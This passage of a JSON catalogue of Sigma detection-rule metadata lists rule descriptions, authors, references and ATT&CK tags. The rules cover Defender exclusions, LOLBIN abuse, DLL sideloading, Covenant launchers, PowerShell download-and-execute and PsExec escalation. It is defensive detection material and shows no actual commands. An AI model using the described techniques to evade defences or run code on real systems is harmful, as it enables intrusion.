          "Other Cmdlets that may use the same parameters"
        ],
        "filename": "proc_creation_win_powershell_defender_exclusion.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://twitter.com/AdamTheAnalyst/status/1483497517119590403",
          "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "17769c90-230e-488b-a463-e05c08e9d48f",
      "value": "Powershell Defender Exclusion"
    },
    {
      "description": "Detects execution of the Notepad++ updater (gup) to launch other commands or executables",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/10",
        "falsepositive": [
          "Other parent binaries using GUP not currently identified"
        ],
        "filename": "proc_creation_win_gup_arbitrary_binary_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nas_bench/status/1535322445439180803",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_arbitrary_binary_execution.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "d65aee4d-2292-4cea-b832-83accd6cfa43",
      "value": "Arbitrary Binary Execution Using GUP Utility"
    },
    {
      "description": "Detects a code page switch in command line or batch scripts to a rare language",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2019/10/14",
        "falsepositive": [
          "Administrative activity (adjust code pages according to your organization's region)"
        ],
        "filename": "proc_creation_win_chcp_codepage_switch.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/win32/intl/code-page-identifiers",
          "https://twitter.com/cglyer/status/1183756892952248325",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chcp_codepage_switch.yml"
        ],
        "tags": [
          "attack.t1036",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
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          ],
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        }
      ],
      "uuid": "c7942406-33dd-4377-a564-0f62db0593a3",
      "value": "Suspicious CodePage Switch Via CHCP"
    },
    {
      "description": "Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/11/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_kavremover.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_kavremover.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d047726b-c71c-4048-a99b-2e2f50dc107d",
      "value": "Kavremover Dropped Binary LOLBIN Usage"
    },
    {
      "description": "Detects MsiExec loading a DLL and calling its DllUnregisterServer function",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_msiexec_dll.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/_st0pp3r_/status/1583914515996897281",
          "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_dll.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.007"
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      },
      "related": [
        {
          "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "84f52741-8834-4a8c-a413-2eb2269aa6c8",
      "value": "DllUnregisterServer Function Call Via Msiexec.EXE"
    },
    {
      "description": "Detects a when net.exe is called with a password in the command line",
      "meta": {
        "author": "Tim Shelton (HAWK.IO)",
        "creation_date": "2021/12/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_net_use_password_plaintext.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_password_plaintext.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.initial_access",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.lateral_movement",
          "attack.t1021.002",
          "attack.t1078"
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      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "d4498716-1d52-438f-8084-4a603157d131",
      "value": "Password Provided In Command Line Of Net.EXE"
    },
    {
      "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_recon.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1119"
        ]
      },
      "related": [
        {
          "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "aa2efee7-34dd-446e-8a37-40790a66efd7",
      "value": "Recon Information for Export with Command Prompt"
    },
    {
      "description": "Detects the execution of \"ldifde.exe\" in order to export organizational Active Directory structure.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_ldifde_export.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit",
          "https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html",
          "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_export.yml"
        ],
        "tags": [
          "attack.exfiltration"
        ]
      },
      "uuid": "4f7a6757-ff79-46db-9687-66501a02d9ec",
      "value": "Active Directory Structure Export Via Ldifde.EXE"
    },
    {
      "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on services registry key. Often used by attacker to remove AV software services",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/01",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_reg_delete_services.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_services.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "05b2aa93-1210-42c8-8d9a-2fcc13b284f5",
      "value": "Service Registry Key Deleted Via Reg.EXE"
    },
    {
      "description": "Detects potentially suspicious child processes of \"GoogleUpdate.exe\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_googleupdate_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_googleupdate_susp_child_process.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "84b1ecf9-6eff-4004-bafb-bae5c0e251b2",
      "value": "Potentially Suspicious GoogleUpdate Child Process"
    },
    {
      "description": "Detects shell32.dll executing a DLL in a suspicious directory",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/11/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_shell32_susp_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.group-ib.com/resources/threat-research/red-curl-2.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_shell32_susp_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "32b96012-7892-429e-b26c-ac2bf46066ff",
      "value": "Shell32 DLL Execution in Suspicious Directory"
    },
    {
      "description": "Detects usage of the \"Import-Module\" cmdlet to load the \"Microsoft.ActiveDirectory.Management.dl\" DLL. Which is often used by attackers to perform AD enumeration.",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/01/22",
        "falsepositive": [
          "Legitimate use of the library for administrative activity"
        ],
        "filename": "proc_creation_win_powershell_active_directory_module_dll_import.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/samratashok/ADModule",
          "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges",
          "https://twitter.com/cyb3rops/status/1617108657166061568?s=20",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_active_directory_module_dll_import.yml"
        ],
        "tags": [
          "attack.reconnaissance",
          "attack.discovery",
          "attack.impact"
        ]
      },
      "uuid": "70bc5215-526f-4477-963c-a47a5c9ebd12",
      "value": "Potential Active Directory Enumeration Using AD Module - ProcCreation"
    },
    {
      "description": "Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/28",
        "falsepositive": [
          "Software installers that pull packages from remote systems and execute them"
        ],
        "filename": "proc_creation_win_powershell_susp_download_patterns.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70",
          "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_download_patterns.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e6c54d94-498c-4562-a37c-b469d8e9a275",
      "value": "Suspicious PowerShell Download and Execute Pattern"
    },
    {
      "description": "Detects the use of Setres.exe to set the screen resolution and then potentially launch a file named \"choice\" (with any executable extension such as \".cmd\" or \".exe\") from the current execution path",
      "meta": {
        "author": "@gott_cyber",
        "creation_date": "2022/12/11",
        "falsepositive": [
          "Legitimate usage of Setres"
        ],
        "filename": "proc_creation_win_lolbin_setres.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1583356502340870144",
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)",
          "https://lolbas-project.github.io/lolbas/Binaries/Setres/",
          "https://strontic.github.io/xcyclopedia/library/setres.exe-0E30E4C09637D7A128A37B59A3BC4D09.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_setres.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "835e75bf-4bfd-47a4-b8a6-b766cac8bcb7",
      "value": "Use of Setres.exe"
    },
    {
      "description": "Detects the usage of the \"Accesschk\" utility, an access and privilege audit tool developed by SysInternal and often being abused by attacker to verify process privileges",
      "meta": {
        "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "System administrator Usage"
        ],
        "filename": "proc_creation_win_sysinternals_accesschk_check_permissions.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/gladiatx0r/Powerless/blob/04f553bbc0c65baf4e57344deff84e3f016e6b51/Powerless.bat",
          "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment?slide=43",
          "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW",
          "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_accesschk_check_permissions.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1069.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "c625d754-6a3d-4f65-9c9a-536aea960d37",
      "value": "Permission Check Via Accesschk.EXE"
    },
    {
      "description": "Detects execution of the SharpLDAPmonitor. Which can monitor the creation, deletion and changes to LDAP objects.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_sharp_ldap_monitor.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/p0dalirius/LDAPmonitor",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_ldap_monitor.yml"
        ],
        "tags": [
          "attack.discovery"
        ]
      },
      "uuid": "9f8fc146-1d1a-4dbf-b8fd-dfae15e08541",
      "value": "HackTool - SharpLDAPmonitor Execution"
    },
    {
      "description": "Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/02",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_dll_sideload_vmware_xfer.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "ebea773c-a8f1-42ad-a856-00cb221966e8",
      "value": "DLL Sideloading by VMware Xfer Utility"
    },
    {
      "description": "Detects suspicious command lines used in Covenant luanchers",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2020/06/04",
        "falsepositive": "No established falsepositives",
        "filename": "proc_creation_win_hktl_covenant.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/covenant-v0-5-eee0507b85ba",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_covenant.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1059.001",
          "attack.t1564.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
        {
          "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0",
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "c260b6db-48ba-4b4a-a76f-2f67644e99d2",
      "value": "HackTool - Covenant PowerShell Launcher"
    },
    {
      "description": "Detects wscript/cscript executions of scripts located in user directories",
      "meta": {
        "author": "Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Winzip",
          "Other self-extractors"
        ],
        "filename": "proc_creation_win_malware_script_dropper.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_script_dropper.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.005",
          "attack.t1059.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
          "tags": [
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          ],
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        },
        {
          "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "cea72823-df4d-4567-950c-0b579eaf0846",
      "value": "WScript or CScript Dropper"
    },
    {
      "description": "Detects the execution utitilies often found in Visual Studio tools that hardcode the call to the binary \"link.exe\". They can be abused to sideload any binary with the same name",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_sideload_link_binary.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1560732860935729152",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sideload_link_binary.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6e968eb1-5f05-4dac-94e9-fd0c5cb49fd6",
      "value": "Sideloading Link.EXE"
    },
    {
      "description": "Detects a suspicious script executions from temporary folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton",
        "creation_date": "2021/07/14",
        "falsepositive": [
          "Administrative scripts"
        ],
        "filename": "proc_creation_win_susp_script_exec_from_temp.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_temp.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a6a39bdb-935c-4f0a-ab77-35f4bbf44d33",
      "value": "Suspicious Script Execution From Temp Folder"
    },
    {
      "description": "Detects usage of the \"FromBase64String\" function in the commandline which is used to decode a base64 encoded string",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/01/29",
        "falsepositive": [
          "Administrative script libraries"
        ],
        "filename": "proc_creation_win_powershell_frombase64string.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string.yml"
        ],
        "tags": [
          "attack.t1027",
          "attack.defense_evasion",
          "attack.t1140",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e32d4572-9826-4738-b651-95fa63747e8a",
      "value": "Base64 Encoded PowerShell Command Detected"
    },
    {
      "description": "Detects execution of \"certmgr\" with the \"add\" flag in order to install a new certificate on the system.\nAdversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.\n",
      "meta": {
        "author": "oscd.community, @redcanary, Zach Stanford @svch0st",
        "creation_date": "2023/03/05",
        "falsepositive": [
          "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP"
        ],
        "filename": "proc_creation_win_certmgr_certificate_installation.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certmgr_certificate_installation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1553.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ff992eac-6449-4c60-8c1d-91c9722a1d48",
      "value": "New Root Certificate Installed Via CertMgr.EXE"
    },
    {
      "description": "Detects usage of Sysinternals PsService which can be abused for service reconnaissance and tampering",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/16",
        "falsepositive": [
          "Legitimate use of PsService by an administrator"
        ],
        "filename": "proc_creation_win_sysinternals_psservice.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/sysinternals/downloads/psservice",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psservice.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.persistence",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3371f518-5fe3-4cf6-a14b-2a0ae3fd8a4f",
      "value": "Sysinternals PsService Execution"
    },
    {
      "description": "Detects the addition of a new rule to the Windows firewall via netsh",
      "meta": {
        "author": "Markus Neis, Sander Wiebing",
        "creation_date": "2019/01/29",
        "falsepositive": [
          "Legitimate administration activity",
          "Software installations"
        ],
        "filename": "proc_creation_win_netsh_fw_add_rule.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_rule.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004",
          "attack.s0246"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cd5cfd80-aa5f-44c0-9c20-108c4ae12e3c",
      "value": "New Firewall Rule Added Via Netsh.EXE"
    },
    {
      "description": "Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/12/27",
        "falsepositive": [
          "Scripts or tools that download attachments from these domains (OneNote, Outlook 365)"
        ],
        "filename": "proc_creation_win_susp_download_office_domain.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/an0n_r0/status/1474698356635193346?s=12",
          "https://twitter.com/mrd0x/status/1475085452784844803?s=12",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105",
          "attack.t1608"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "84771bc3-f6a0-403e-b144-01af70e5fda0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "00d49ed5-4491-4271-a8db-650a4ef6f8c1",
      "value": "Suspicious Download from Office Domain"
    },
    {
      "description": "Detects suspicious commandline flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/11/23",
        "falsepositive": [
          "Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)",
          "Users that debug Microsoft Intune issues using the commands mentioned in the official documentation; see https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension"
        ],
        "filename": "proc_creation_win_sysinternals_psexec_paexec_escalate_system.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec",
          "https://www.poweradmin.com/paexec/",
          "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_paexec_escalate_system.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1587.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8834e2f7-6b4b-4f09-8906-d2276470ee23",
      "value": "PsExec/PAExec Escalation to LOCAL SYSTEM"
    },
    {
      "description": "Detects PowerShell script execution via input stream redirect",
      "meta": {
        "author": "Moriarty Meng (idea), Anton Kutepov (rule), oscd.community",
        "creation_date": "2020/10/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_run_script_from_input_stream.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Moriarty_Meng/status/984380793383370752",
